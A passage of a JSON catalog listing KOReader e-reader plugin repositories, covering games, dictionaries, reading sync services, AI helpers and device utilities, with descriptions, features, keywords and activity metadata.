their seat, with called-tile wind markers","Drawn tile separated at the right edge of your hand","Transient feedback for draws, calls, riichi, and discards"],"keywords":["koreader-plugin","eink","game","kindle","koreader","lua","mahjong","plugin","riichi","komahjong","pixel-art","featuring","image-backed","tiles","yaku","reference","menus","chi","pon","kan","calls","kan-dora","tenpai","payments"],"topics":["koreader-plugin","eink","game","kindle","koreader","lua","mahjong","plugin","riichi"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-06T15:17:05Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":5277,"detail":"detail/dodgemaster42__KoMahjong.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"E5DR/dictionary-mode.koplugin","owner":"E5DR","repo":"dictionary-mode.koplugin","url":"https://github.com/E5DR/dictionary-mode.koplugin","description":"Enables dictionary mode (one tap dictionary lookups) in KOReader; with proper language support","purpose":"Fork of ckilb/koreader-dictionarymode with proper language support (the original implementation fails to apply processing provided by language support plugins). Dictionary triggers (only) when tapping a word, tapping a free space allows flipping pages etc.","categories":["dict"],"features":["[ ] While the dictionary mode action can be bound to a gesture, triggering the action will not change the setting for some reason"],"keywords":["enables","dictionary","mode","one","tap","lookups","proper","language","todo","alternatives","menu","gestures","main","taps","might","settings","tapping","word","action","flipping","folder","actions","download","enabled"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2023-09-21T14:53:53Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2323,"detail":"detail/E5DR__dictionary-mode.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"esverde/kindle-bluetooth.koplugin","owner":"esverde","repo":"kindle-bluetooth.koplugin","url":"https://github.com/esverde/kindle-bluetooth.koplugin","description":"","purpose":"","categories":["device"],"features":[],"keywords":[],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-27T07:34:57Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"EthicalHacker92/inkfire","owner":"EthicalHacker92","repo":"inkfire","url":"https://github.com/EthicalHacker92/inkfire","description":"KOReader plugin suite + web dashboard for Kobo e-readers. WiFi transfer, manga mode, series library, reading stats.","purpose":"A warm home for your reading life — a KOReader plugin for Kobo. InkFire replaces the cold file-manager landing of stock KOReader with Hearth: a quiet, welcoming home screen that greets you, hands you your current book, queues your next manga volume, and keeps a gentle streak going — all one tap from reading.","categories":["ui","web","library","device","files","reading","content"],"features":["Hearth home screen — time-aware greeting, hero \"Continue\" card with real","Smart Up Next — if you just finished *Chainsaw Man Vol. 13*, Vol. 14 is","Library lanes — full-screen cover grid with All · Books · Manga tabs,","Quiet habit layer — a one-line streak + minutes-today. Tap for the full","WiFi drop transfer — start it, open the URL on any device on your network,","Title cleanup — Anna's-Archive-style filename junk","Polish, don't replace. No monkey-patching of KOReader internals — Hearth","E-ink first. One deliberate flash on entry, partial refresh after. Real","Crash-proof by habit. Every DB read, file read, and cover decode is","Have KOReader installed on the Kobo"],"keywords":["ereader","kobo","koreader","koreader-plugin","manga","suite","web","dashboard","e-readers","wifi","transfer","mode","series","library","reading","stats","inkfire","looks","like","design","stance","controls","repo","layout"],"topics":["ereader","kobo","koreader","koreader-plugin","manga"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-07T02:50:14Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4441,"detail":"detail/EthicalHacker92__inkfire.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fundacja-reborn/offlinetranslate-koplugin","owner":"fundacja-reborn","repo":"offlinetranslate-koplugin","url":"https://github.com/fundacja-reborn/offlinetranslate-koplugin","description":"Offline translation of selected phrases and sentences in KOReader, with a neural machine translation engine          running on the device. It remembers what you looked up, underlines it where it turns up again (LingQ/Readlang style), and exports it for Anki. No cloud, no account, no text leaving the reader.","purpose":"A KOReader plugin that translates what you select with a neural machine translation engine running on your device, and shows the result in a bubble anchored to the selection.","categories":["dict","files"],"features":["Open it and download the language packs you need","In its settings, under Advanced, turn on \"Enable LibreTranslate","In KOReader: Tools → Offline translate, and set the two languages. The","Underlines need a reflowable format. EPUB, FB2, MOBI and the rest are","Matching is literal. \"the old man\" is not recognized in \"the old men\", so a","re/notes - notes and documents, in Markdown","re/task - tasks, subtasks and reminders"],"keywords":["comprehensible-input","ebook-reader","eink","koreader","koreader-plugin","language-learning","libretranslate","lua","machine-translation","offline","offline-first","privacy","translation","anki","flashcards","selected","phrases","sentences","neural","machine","engine","running","device","remembers"],"topics":["comprehensible-input","ebook-reader","eink","koreader","koreader-plugin","language-learning","libretranslate","lua","machine-translation","offline","offline-first","privacy","translation","anki","flashcards"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T16:44:11Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":20686,"detail":"detail/fundacja-reborn__offlinetranslate-koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"greywolf1499/hardcoverapp.koplugin","owner":"greywolf1499","repo":"hardcoverapp.koplugin","url":"https://github.com/greywolf1499/hardcoverapp.koplugin","description":"Hardcover.app status updating from KOReader","purpose":"A KOReader plugin to update your Hardcover.app reading status `token = 'abcde...fghij'` The Hardcover plugin's menu can be found in the Bookmark top menu when a document is active.","categories":["library","reading","notes"],"features":["Rename hardcover_config.example.lua to hardcover_config.lua","Fetch your API key from https://hardcover.app/account/api (just the part after Bearer )","Add your API key to the token field in hardcover_config.lua, between the '' quotes. For example","Your current read will be updated when paging through the document, no more than once per minute. This frequency","When marking a book as finished from the file browser, the book will be marked as finished in Hardcover","When reaching the end of the document, if the KOReader settings automatically mark the document as finished, the","Automatically link by ISBN: If the document contains ISBN or ISBN13 metadata, try to find a matching edition for","Automatically link by Hardcover: If the document metadata contains a hardcover identifier (with a URL slug for"],"keywords":["hardcover","app","status","updating","linking","book","reading","journal","entry","quote","automatically","track","progress","settings","automatic","always","default","enable","wifi","demand","compatibility","mode","document","menu"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-11-09T17:57:52Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9737,"detail":"detail/greywolf1499__hardcoverapp.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hesan1232/koobone.koplugin","owner":"hesan1232","repo":"koobone.koplugin","url":"https://github.com/hesan1232/koobone.koplugin","description":"koreader插件，用于连接kox漫画网站阅读网站，可浏览、下载、阅读、进度同步","purpose":"在 KOReader 中阅读 Koobone 漫画库的插件。支持书架浏览、漫画下载缓存、阅读进度云端同步、多维度排序和智能预下载。 进入 KOReader 菜单 → 插件 → Koobone 漫画 → 设置： 插件运行于 KOReader 的 Lua 5.1 / LuaJIT 环境，已确认：","categories":["misc"],"features":["书架浏览 — 两层结构：系列列表 → 卷列表，支持搜索与刷新","三种排序 — 按更新时间 / 按名称 / 按最后阅读时间，设置自动持久化","漫画下载 — 带实时进度条、断点续传（Range 头支持）、多策略自动切换","EPUB 缓存 — 下载后自动解压解析，LRU 策略清理过期和超缓存","阅读进度同步 — 自动拉取云端进度、定时上传、手动拉取/覆盖选项","智能预下载 — 打开漫画后后台静默预下载后续 N 卷，零弹窗干扰","后台运行 — 下载可转入后台继续，不阻塞阅读","KOReader 原生打开 — 下载完成后直接用 KOReader 内置 EPUB 阅读器打开","将 koobone.koplugin 文件夹放入 KOReader 插件目录：","重启 KOReader 或重新扫描插件即可。"],"keywords":["kox","koobone","lua","2026-08-10","epub","download","cookie","execute","progress","shelf","unpack","auth","bookshelf","http","series","settings","sleep","sort","state","table","vols","range","lru"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T08:33:22Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6297,"detail":"detail/hesan1232__koobone.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hudsonbrendon/hatelemetry.koplugin","owner":"hudsonbrendon","repo":"hatelemetry.koplugin","url":"https://github.com/hudsonbrendon/hatelemetry.koplugin","description":"KOReader plugin: push Kindle reading + device telemetry to Home Assistant via the REST API","purpose":"KOReader plugin that pushes reading and device telemetry from a Kindle (or any KOReader device) to Home Assistant, and applies commands sent back from Home Assistant — frontlight, warmth, wifi, page turns, on-screen messages and more.","categories":["ui","ai"],"features":["Webhook (native, recommended) — sends the snapshot to the","REST (legacy) — writes sensors directly to Home Assistant's /api/states using a","USB: mount the device and copy to / /koreader/plugins/","SSH: scp -r the folder to /mnt/us/koreader/plugins/ (path may vary)","Release zip: download the latest release","Send telemetry on sleep/wake & open/close — push on lifecycle events","Periodic updates while awake — push on a timed loop","Test connection — send one snapshot now and report success/failure","Show current snapshot — preview the data that would be sent"],"keywords":["push","kindle","reading","device","telemetry","home","assistant","via","rest","api","works","configuration","menu","tools","sent","commands","applied","webhook","mode","development","sensor","book","frontlight","pages"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-28T18:39:09Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6515,"detail":"detail/hudsonbrendon__hatelemetry.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"igarizio/pocketbook8bitdo.koplugin","owner":"igarizio","repo":"pocketbook8bitdo.koplugin","url":"https://github.com/igarizio/pocketbook8bitdo.koplugin","description":"A plugin to easily use the 8BitDo Bluetooth controller with Pocketbook.","purpose":"A super simple plugin to use the 8BitDo Bluetooth controller with Pocketbook devices running KOReader. The repository includes a `event_map.lua.sample` with my own preferences but you can change them (it also assumes the default keycodes). Follow the instructions below.","categories":["misc"],"features":["Put the pocketbook8bitdo.koplugin folder in koreader/plugins"],"keywords":["easily","8bitdo","bluetooth","controller","pocketbook","pocketbook8bitdo","about","event","follow","sample","steps","these","put","folder"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-25T06:49:19Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":991,"detail":"detail/igarizio__pocketbook8bitdo.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"johan456789/assistant.koplugin","owner":"johan456789","repo":"assistant.koplugin","url":"https://github.com/johan456789/assistant.koplugin","description":"Assistant: AI Helper Plugin for KOReader : lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading","purpose":"A powerful plugin that lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading. Ask questions about text, get translations, summaries, explanations and more - all without leaving your book.","categories":["dict","ai"],"features":["Multiple AI Providers: Support for","Claude, OpenAI, Gemini, DeepSeek, etc","OpenRouter, Ollama, etc","Other OpenAI-compatible API services (Groq, NVIDIA, etc.)","Stream Mode: Real-time responses from the API. Get the full LLM experience on e-ink devices","Multiple Providers/Models: Select different models or AI provider platforms in the UI","Built-in Prompts","Translation: Instantly translate highlighted text to any language","Quick Actions: One-click buttons for common tasks like summarizing or explaining","Dictionary: Get synonyms, context-aware dictionary explanations, and examples for the selected word. (thanks to plateaukao)"],"keywords":["assistant","helper","lets","interact","language","models","claude","gpt-4","gemini","deepseek","ollama","etc","while","reading","basic","requirements","getting","started","api","keys","configure","openai-compatible","apis","standard"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-03T07:07:22Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9017,"detail":"detail/johan456789__assistant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jperon/excludehistory.koplugin","owner":"jperon","repo":"excludehistory.koplugin","url":"https://github.com/jperon/excludehistory.koplugin","description":"KOReader plugin to exclude books from history/statistics","purpose":"A KOReader plugin to exclude files or folders from the reading history. Long-press a file or folder in the file manager (or in the History screen) and choose \"Exclude from history\" to remove it from the history and prevent it from being added back. Advanced patterns can be managed manually from More tools → Exclude…","categories":["reading"],"features":[],"keywords":["exclude","books","history","statistics","file"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-21T09:21:33Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":399,"detail":"detail/jperon__excludehistory.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jqs7/weread.koplugin","owner":"jqs7","repo":"weread.koplugin","url":"https://github.com/jqs7/weread.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，并做到进度、阅读时长同步，阅读时间上报。用爱发电，大家积极贡献。","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长的插件。 书籍 公众号 阅读时间上报 阅读统计 完整移植 APP 阅读统计能力, 支持按照周/月/年/总 维度查看 书籍管理 将插件目录复制到 KOReader 的 plugins 目录：","categories":["content"],"features":["浏览微信读书书架，搜索书籍","下载单章或整本书为 EPUB，直接在 KOReader 中阅读","章节目录按书籍缓存为独立 catalog.json，并支持在章节列表中手动刷新","章节内容解码、CSS 样式、图片资源打包","自动生成目录（TOC），自动嵌入封面","下载并嵌入划线和想法，阅读时可一键显示/隐藏，点击划线查看想法内容","浏览已关注的公众号列表","下载公众号文章为 HTML（图片内嵌 base64，KOReader 可自由调节字体大小）","文章列表本地缓存，无需重复请求","自动向微信读书上报阅读时长（默认每 30 秒一次）"],"keywords":["weread","todo","json","catalog","epub","skill","css","toc","html","base64"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-06T08:40:31Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5847,"detail":"detail/jqs7__weread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jsfaint/zhihudaily.koplugin","owner":"jsfaint","repo":"zhihudaily.koplugin","url":"https://github.com/jsfaint/zhihudaily.koplugin","description":"","purpose":"在 KOReader 上阅读知乎日报（每日精选问答与文章）。 通过知乎日报的公开（非官方）JSON 接口抓取内容，在本地构建 EPUB 后用 KOReader 自带阅读器打开：正文、图片、封面内嵌，支持离线重读已缓存内容。 把整个 `zhihudaily.koplugin` 目录放到 KOReader 的 `plugins/` 下，重启 KOReader。 入口在顶部菜单 → 工具（Tools）标签 → 知乎日报（书架与书内均可进入）。","categories":["misc"],"features":["内容缓存在 KOReader 数据目录下的 zhihudaily/（epub/ 存放构建好的 EPUB，","同一张图片按 URL 哈希去重缓存，跨期复用；清理缓存放开设置页。","图片下载失败只跳过该图，不影响文章阅读；全部文章抓取失败才报错。"],"keywords":["koreader-plugin","koreader-plugins","zhihu-daily","zhihudaily","epub","url"],"topics":["koreader-plugin","koreader-plugins","zhihu-daily"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T12:14:31Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2382,"detail":"detail/jsfaint__zhihudaily.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jwillikers/koreader-break-timer","owner":"jwillikers","repo":"koreader-break-timer","url":"https://github.com/jwillikers/koreader-break-timer","description":"A break timer for KOReader","purpose":"","categories":["misc"],"features":[],"keywords":["eyestrain","koreader","koreader-plugin","break","timer"],"topics":["eyestrain","koreader","koreader-plugin"],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-07-12T12:39:13Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"karlb/webdavfetcher.koplugin","owner":"karlb","repo":"webdavfetcher.koplugin","url":"https://github.com/karlb/webdavfetcher.koplugin","description":"A KOReader plugin that fetches files from a WebDAV server. Designed for a \"drop files in a folder, they appear on your reader\" workflow.","purpose":"A KOReader plugin that fetches files from a WebDAV server. Designed for a \"drop files in a folder, they appear on your reader\" workflow.","categories":["sync","files"],"features":["Go to the menu and find WebDAV fetcher under Tools","Long-press the entry to open settings and fill in your WebDAV credentials","Edit webdavfetcher_settings.lua with your WebDAV credentials","Place files in the remote WebDAV folder (e.g. /books/inbox)","On your reader, open the KOReader menu","Tap WebDAV fetcher","The plugin connects to the server and downloads all files"],"keywords":["fetches","files","webdav","server","designed","drop","folder","they","appear","workflow","webdavfetcher","configuration","updating","via","settings","compatibility","download","device","directory","adds","after","books","fetcher","file"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-12T07:20:52Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":2836,"detail":"detail/karlb__webdavfetcher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kelvinalfaro/cwamagicdownload.koplugin","owner":"kelvinalfaro","repo":"cwamagicdownload.koplugin","url":"https://github.com/kelvinalfaro/cwamagicdownload.koplugin","description":"KOReader plugin for syncing Calibre-Web-Automated OPDS shelves into local folders","purpose":"Download selected Calibre-Web-Automated OPDS shelves into local KOReader folders. The plugin can discover and sync:","categories":["web","library","notes"],"features":["Calibre-Web-Automated Magic Shelves from /opds/magicshelfindex","Regular shelves from /opds/shelfindex","Built-in OPDS feeds for unread books, read books, and recently added books","Server login: your Calibre-Web-Automated base URL, username, and password","Refresh shelf list from CWA: fetches live regular and magic shelves","Shelves to sync: choose one or more shelves","Read status filter: choose unread only, read only, or all books","Per-shelf read filters: override the global read filter for a specific shelf or use that feed's default","Show shelf icons: toggles leading emoji/icons in shelf names for devices that render them as ?","Create author subfolders: optionally groups downloaded books inside each shelf folder by OPDS author metadata"],"keywords":["syncing","calibre-web-automated","opds","shelves","local","folders","cwa","magic","downloads","configure","notes","requirements","shelf","books","folder","read","sync","files","during","author","longer","matching","metadata","selected"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-18T11:49:44Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4254,"detail":"detail/kelvinalfaro__cwamagicdownload.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Kerwin75631591/xray-zh.koplugin","owner":"Kerwin75631591","repo":"xray-zh.koplugin","url":"https://github.com/Kerwin75631591/xray-zh.koplugin","description":"KOReader 中文版 X-Ray 插件：AI 书籍分析（人物/本章人物/时间线/历史人物/地点/主题），内置 DeepSeek V4 与 Gemini 支持，超长书籍可分段获取。KOReader X-Ray plugin with Chinese UI, DeepSeek & segmented fetch.","purpose":"像亚马逊 Kindle X-Ray 一样，用 AI 自动分析你正在读的书：人物、本章人物、时间线、历史人物、地点、主题、内容简介、作者信息，全程无剧透，数据缓存后离线可用。 （发布前在此补充设备实拍截图，建议 2-4 张：主菜单、人物列表、时间线、AI 设置）","categories":["ui","library","ai","device","reading"],"features":["🌐 默认简体中文界面，并自动跟随 KOReader 界面语言","🧠 内置 DeepSeek 支持（deepseek-v4-flash / deepseek-v4-pro，官方最新模型），对中文书籍分析效果出色","🆓 也支持 Google Gemini（免费额度）与 ChatGPT","下载本仓库，将 xray-zh.koplugin 文件夹整体拷贝到 KOReader 的插件目录：","完全退出并重启 KOReader（不是返回主页，是彻底退出进程）。","打开任意一本书，菜单 → X-Ray 即可使用。","首次会询问剧透偏好：🔒 无剧透模式（只分析已读部分）或 📖 完整模式","等待 10-30 秒，之后数据永久缓存在本机，无需再次联网","优点：完整覆盖、准确（不依赖 AI 对这本书的了解）、人物称呼直接取自原文（\"本章人物\"匹配更好）","缺点：耗时较长（视书长度，数分钟到几十分钟）、消耗更多 token"],"keywords":["ai","deepseek","e-ink","ebook-reader","epub","kindle","kobo","koreader","lua","plugin","xray","x-ray","gemini","chinese","segmented","fetch","opds","api","config","https","settings","google","deepseek-v4-pro","wantread"],"topics":["ai","deepseek","e-ink","ebook-reader","epub","kindle","kobo","koreader","lua","plugin","xray"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T17:12:49Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12405,"detail":"detail/Kerwin75631591__xray-zh.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kosciak9/hardcoverapp.koplugin","owner":"kosciak9","repo":"hardcoverapp.koplugin","url":"https://github.com/kosciak9/hardcoverapp.koplugin","description":"Hardcover.app status updating from KOReader","purpose":"A KOReader plugin to update your Hardcover.app reading status `token = 'abcde...fghij'` The Hardcover plugin's menu can be found in the Bookmark top menu when a document is active.","categories":["library","reading","notes"],"features":["Rename hardcover_config.example.lua to hardcover_config.lua","Fetch your API key from https://hardcover.app/account/api (just the part after Bearer )","Add your API key to the token field in hardcover_config.lua, between the '' quotes. For example","Your current read will be updated when paging through the document, no more than once per minute. This frequency","When marking a book as finished from the file browser, the book will be marked as finished in Hardcover","When reaching the end of the document, if the KOReader settings automatically mark the document as finished, the","Automatically link by ISBN: If the document contains ISBN or ISBN13 metadata, try to find a matching edition for","Automatically link by Hardcover: If the document metadata contains a hardcover identifier (with a URL slug for"],"keywords":["hardcover","app","status","updating","linking","book","reading","journal","entry","quote","automatically","track","progress","suggest","settings","automatic","always","default","enable","wifi","demand","compatibility","mode","document"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-02-09T11:03:28Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10424,"detail":"detail/kosciak9__hardcoverapp.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ksaMask123/poker24.koplugin","owner":"ksaMask123","repo":"poker24.koplugin","url":"https://github.com/ksaMask123/poker24.koplugin","description":"Poker24 — 二十四点扑克牌游戏 KOReader 插件 | 24-Point Card Game Plugin for E-ink Readers","purpose":"经典 24 点算术游戏 · KOReader 墨水屏插件 Classic 24-Point Arithmetic Card Game · KOReader E-ink Plugin Poker24 是一款为 KOReader 电子书阅读器开发的游戏娱乐类插件。从一副标准扑克牌中随机抽取 4 张牌，玩家需要使用加（`+`）、减（`-`）、乘（`×`）、除（`÷`）四则运算以及括号，将这 4 张牌的点数组合成一个结果等于 24 的数学表达式。","categories":["ui","files","games"],"features":["前往 Releases 页面下载最新版 .zip 文件。","将解压后的 poker24.koplugin 文件夹复制到设备的 koreader/plugins/ 目录下。","重启 KOReader，在主菜单 → 插件 中找到「二十四点」即可开始游戏。","4 张牌必须全部使用，且每张只能用一次。","仅可使用四则运算 + − × ÷ 与三种括号 ( ) [ ] { }。","括号按嵌套深度分配层级：内层 ( )、中层 [ ]、外层 { }，三者须各自配对、不可交叉嵌套。","系统保证每局发牌都有解；「暗牌」模式下未翻开的牌对应数字按钮显示 ？ 且不可点击，翻开后才可用。","🔒 修复连续点击「换牌」触发 KOReader 原生崩溃（CRITICAL）：ImageWidget:_render() PNG 解码异常未捕获导致进程被杀","🚫 新增输入节流（0.25s）+ 操作锁防重入","🛡️ 全链路 pcall 防御 + 发牌后状态校验 (isValid())"],"keywords":["poker24","24-point","card","game","e-ink","readers","about","face-down","mode","tap","flip","face-up","expression","solving","solution","display","hard","method","download","recommended","manual","play","rules","button"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T08:28:22Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12252,"detail":"detail/ksaMask123__poker24.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kuokuo313/weread.koplugin","owner":"kuokuo313","repo":"weread.koplugin","url":"https://github.com/kuokuo313/weread.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，并做到进度、阅读时长同步，阅读时间上报。","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长的插件。 书籍 公众号 阅读时间上报 阅读统计 完整移植 APP 阅读统计能力, 支持按照周/月/年/总 维度查看 书籍管理 将插件目录复制到 KOReader 的 plugins 目录：","categories":["content"],"features":["浏览微信读书书架，搜索书籍","下载单章或整本书为 EPUB，直接在 KOReader 中阅读","章节目录按书籍缓存为独立 catalog.json，并支持在章节列表中手动刷新","章节内容解码、CSS 样式、图片资源打包","自动生成目录（TOC），自动嵌入封面","下载并嵌入划线和想法，阅读时可一键显示/隐藏，点击划线查看想法内容","浏览已关注的公众号列表","下载公众号文章为 HTML（图片内嵌 base64，KOReader 可自由调节字体大小）","文章列表本地缓存，无需重复请求","自动向微信读书上报阅读时长（默认每 30 秒一次）"],"keywords":["weread","todo","json","agpl-3","catalog","epub","skill","css","toc","html","base64"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-22T18:02:41Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6169,"detail":"detail/kuokuo313__weread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lamida/calibreplus.koplugin","owner":"lamida","repo":"calibreplus.koplugin","url":"https://github.com/lamida/calibreplus.koplugin","description":"Read your Calibre library in KOReader","purpose":"A KOReader plugin that browses a calibre library directly from its `metadata.db` and opens books in the reader.","categories":["library"],"features":["Browse the entire calibre library without any sync step","Filter by title, author, or tag (tag:fiction, tag:mystery alpha)","Sort by title, date added, or published date","Hold a book row to see full metadata and tap tags to filter by them","Preferred format setting (ask / EPUB / PDF) to skip the format picker","Fast path entry (type a folder path directly) for slow e-ink folder pickers","Database cached to fast internal storage so SD-card libraries open quickly","Dispatcher action (Browse calibre library) assignable to a gesture or Quick Menu","KOReader 2023.10 or later (uses ui/plugin/insert_menu)","A calibre library with metadata.db accessible on the device filesystem"],"keywords":["koreader-plugin","read","calibre","library","calibre+","requirements","quick","access","via","gesture","development","folder","metadata","browse","book","filter","open","path","tools","catalog","directly","action","books","date"],"topics":["koreader-plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-25T05:15:15Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2965,"detail":"detail/lamida__calibreplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"linsyking/bluetooth.koplugin","owner":"linsyking","repo":"bluetooth.koplugin","url":"https://github.com/linsyking/bluetooth.koplugin","description":"KOReader Plugin for setting bluetooth connections on kindle.","purpose":"KOReader plugin for Kindle Bluetooth audio management and audio volume control. The plugin registers two menu entries:","categories":["device"],"features":["Bluetooth under the network menu area","Audio volume under the screen menu area","com.lab126.btfd for Bluetooth audio state, scan, connect, and disconnect","com.lab126.audiomgrd for speaker volume"],"keywords":["setting","bluetooth","connections","kindle","audio","lab126","menu","under","volume","area","directory","network","screen","com","btfd","state","scan","connect","disconnect","audiomgrd","speaker"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-17T20:23:03Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":531,"detail":"detail/linsyking__bluetooth.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"luishfonseca/comicreader.koplugin","owner":"luishfonseca","repo":"comicreader.koplugin","url":"https://github.com/luishfonseca/comicreader.koplugin","description":"A plugin to enhance your comic (or any paged document) reading experience on KOReader.","purpose":"A plugin to enhance your comic (or any paged document) reading experience on KOReader. Most of the code in this project is copied and adapted from the KOReader project, then modified to display two pages at once.","categories":["content"],"features":["View two panels at the same time","Properly track reading statistics in dual-page mode","Automatically enable dual-page mode in landscape orientation","Toggle various settings using dispatcher/profiles","Go to the releases page","If prompted about existing files under statistics.koplugin,","When opening a single-page document, you’ll see a new toggle option"],"keywords":["enhance","comic","any","paged","document","reading","experience","comicreader","disclaimer","statistics","dual-page","mode","project","toggle","view","two","panels","same","time","properly","track","automatically","enable","landscape"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-05-14T11:00:20Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1183,"detail":"detail/luishfonseca__comicreader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MaoMao-Corp/MaoMao-Dict.koplugin","owner":"MaoMao-Corp","repo":"MaoMao-Dict.koplugin","url":"https://github.com/MaoMao-Corp/MaoMao-Dict.koplugin","description":"A lightweight adaptation of the original project, tailored specifically for e-readers running KOReader. ","purpose":"A lightweight adaptation of the original project, tailored specifically for e-readers running KOReader. This plugin preserves the core functionality of the main project: retrieving word definitions based on their surrounding context to improve reading flow and comprehension.","categories":["misc"],"features":[],"keywords":["lightweight","adaptation","original","project","tailored","specifically","e-readers","running","maomao","dict","development","currently","focused","translating","optimizing","behavior","fit","environment","while","keeping","performance","usability","mind"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-06T23:56:29Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":963,"detail":"detail/MaoMao-Corp__MaoMao-Dict.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"mewforest/androidapplauncher.koplugin","owner":"mewforest","repo":"androidapplauncher.koplugin","url":"https://github.com/mewforest/androidapplauncher.koplugin","description":"Android App Launcher for KOReader — launch installed Android apps from menu or gestures","purpose":"Launch Android applications directly from KOReader's menu or with gesture actions. The plugin starts each application's normal launcher activity; it does not implement Android's open with flow or share the current book.","categories":["ui"],"features":["Eight persistent application slots","Manual package-ID fallback for applications hidden by Android visibility","Direct Launch “App name” commands in KOReader's menu","Stable, clearly named actions for KOReader's gesture 